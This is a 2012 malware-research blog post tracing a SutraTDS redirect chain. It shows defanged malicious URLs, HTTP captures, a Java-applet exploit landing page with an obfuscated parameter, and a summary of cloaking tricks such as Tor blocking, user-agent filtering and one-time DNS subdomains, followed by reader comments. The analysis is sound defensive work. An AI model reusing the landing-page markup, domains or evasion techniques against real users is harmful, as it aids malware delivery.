Malware delivery system – few recent tricks
Malware Delivery Systems, or Loaders, responsibly to deliver malicious exe\dll to victim.
Each day, malware creators implement new tricks to harden analysis and detection of malware hosts by automated systems, and each day malware hunters follow them to the end step by step
here is some example of such walk
All start from my interest in SutraTDS, which recently became very popular, and here we’ll see why
Looks like recently #SutraTDS spreading quite wild. pastebin.com/raw.php?i=8jfv… Did someone saw domain that it trying to connect?
— Denis Laskov (@it4sec) September 3, 2012
From here – to some target that include SutraTDS sample:
http://urlquery.net/report.php?id=156995
As You may see there – URLQuery mark suspicious scripts, and allow You to see some requests map.. Here we found our new friend:
[Step1]
hxxp://premierequalys.ru/properties/8
As You may see – at URLQuery bot it reply:
HTTP/1.1 302 Found
Content-Type: text/html
Server: nginx
Date: Mon, 03 Sep 2012 10:00:56 GMT
...
Set-Cookie: bzurh8=_1_; domain=premierequalys.ru; path=/; expires=Tue, 04-Sep-2012 10:00:56 GMT
Location: hxxp://aqljrgj.LfLinkup.COM/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg
...
Great, we have target to test!... But
[testuser@testhost ~]$ ping aqljrgj.LfLinkup.COM
ping: unknown host aqljrgj.LfLinkup.COM
host is died already...
Ok, lets go step back
GET hxxp://premierequalys.ru/properties?8 HTTP/1.1
HTTP/1.1 302 Found
Server: nginx
Date: Mon, 03 Sep 2012 11:55:20 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Location: http://www.google.com
Content-Length: 274
----------------------------------------
----------------------------------------
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.google.com">here</a>.</p>
<hr>
<address>Apache/2 Server at premierequalys.ru Port 80</address>
</body></html>
Strange... ALready blocked? Died host? What else? ...
Previous HTTP Request done thru Tor; default agent - IE8; no referer.
Changing HTTP Request to: thru Tor; default agent - IE7; no referer >> Same 302 to Google.
Changing HTTP Request to: thru Tor; default agent - IE7; add hacked site referer >> Same 302
Changing HTTP Request to: NOT thru Tor; default agent - IE8; add hacked site referer >> Same 302
Changing HTTP Request to: NOT thru Tor; default agent - IE7; add hacked site referer >> Got needed response!
GET hxxp://premierequalys.ru/properties?8 HTTP/1.1
HTTP/1.1 302 Found
Server: nginx
Date: Mon, 03 Sep 2012 10:45:28 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: bzurh8=_1_; domain=premierequalys.ru; path=/; expires=Tue, 04-Sep-2012 10:45:28 GMT
Location: hxxp://wkzsl.justdied.com/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg
Vary: Accept-Encoding,User-Agent
----------------------------------------
----------------------------------------
<html><head><meta http-equiv="REFRESH" content="1; URL='hxxp://wkzsl.justdied.com/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg'"></head>
<body>
<h1>Document moved <a href="hxxp://wkzsl.justdied.com/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg">here</a></h1>
</body>
</html>
Aha!
[Step2]
Well, we continue. Here I enable Tor back - and again 302 to 404.php Damn! Already down!
Request through SOCKS proxy 127.0.0.1:9050
----------------------------------------
GET hxxp://wkzsl.justdied.com/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg HTTP/1.1
HTTP/1.1 302 Found
Server: nginx/0.7.67
Set-Cookie: PHPSESSID=b18p8ejungrati36d6o9rn3095; path=/
Expires: Thu, 01 Jan 2000 00:00:00 GMT
Location: 404.php
Vary: Accept-Encoding,User-Agent
Content-Length: 0
But wait a minute... Already saw this trick - Tor is blocked. Let's disable it
GET hxxp://wkzsl.justdied.com/PJeHubmUDaovPDRCJxGMEzlYXdvvppcg HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Mon, 03 Sep 2012 08:57:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.3.3-7+squeeze8
Set-Cookie: PHPSESSID=a4u662dnq3qifaakvtstvh5f26; path=/
Expires: Thu, 01 Jan 2000 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Thu, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 423
----------------------------------------
----------------------------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>1741e95254</title>
</head>
<body>
<applet code="yausvrgpatcskwbas.uyabdmvgswv.class" archive="pqvjdujfllkwl.jar" width="100" height="100">
<param name="ttvwlbdrrutfrbftfhrjueaal" value="ccd225d355b23086e22c76dfa3c506ffb69b0261f8200cfa32124145b7aee9ace5a5f32057484722c19a191cf84a1548765f795a913cd9a9a07efbc55e" />
</applet>
</body>
</html>
Ha! Got the page with payload and details!
ping: unknown host wkzsl.justdied.com
What?!! No cache, no info, no response... Damn, how so?
Well, both justdied.com and LfLinkup.COM are part of ChangeIP.com service, that, among other free services (as claimed), allow to create one-time-subdomains.
Very useful, ah?
[testuser@testhost ~]$ ping kdfee.justdied.com
PING kdfee.justdied.com (91.229.xxx.xx) 56(84) bytes of data.
64 bytes from 91.229.xxx.xx: icmp_req=1 ttl=51 time=153 ms
and after 1 second:
[testuser@testhost ~]$ ping kdfee.justdied.com
ping: unknown host kdfee.justdied.com
But at least we have IPRequest same malware by IP: Success! Not posting it here, to prevent replication and blog blocking.
Ok, we got payload, but what about Malware Distribution System? Few other tests show that: a.more than 2-3 similar requests from same IP - blocked at step1 and step2. Step3 - You have no limits b.at some point, system respond only to requests with referer set, even if to itself. But since it die quick - no 100% info And proved few other theories, that I posted in conclusions. So, until now, what tricks we learned from this example Conclusions: As You may see, malware distribution system in this case provide the following defence techniques: 1. Separate gateway to route victims, based on browser agent (Step1). Only vulnerable clients forwarded to step2, all other - Google.com 2. Source IP tested for Tor network signs, if so - forwarded to Google (step1, step2) 3. Multiple requests from same IP - system detect and again filter out on step1 (routing) 4. Using dynamic one-time DNS service to prevent repeated requests to end-point malware hoster (Step3). 5. In malware .jar itself - obfuscation techniques and part of variables for unpack transferred in web-form, so in test lab jar file is useless. Well, not bad, ah?
![]()
Cheers!
D.L.
Very good writing! Bravo!
This is the spirit needed to stop those malwares.
As we are much way smarter and stronger mentality & morality.
This writing is the sign of the brighter IT future without malware is a very possible!
When you see the challenge is thrilling like this blog, you’ll know that you got it in you!
Thank’s to Denis for the very inspiring malware hunting memo.
some of these sites go to the extent of allowing connection from a single IP and single instance. after the first connection , second instance from the same IP is blocked with 404 error.
rgds
sachin
2MalwareMustDie
Thx!
2sachin
hi!
Yep, it is!
Thx
Denis
Thanks for that! Seems the check/payload comes now from hxxp://wildcardlibrarys.ru/properties?8
Which tools did you use for this analysis? I wanted to do it too for a similiar website but never got around the 404 not found error – used firefox with some referer/spoofing plugins and telnet.
I use malzilla and WIreShark.
And some tool that colleague of mine developed once for similar purposes.
Anyway, on what step You got 404 in this example?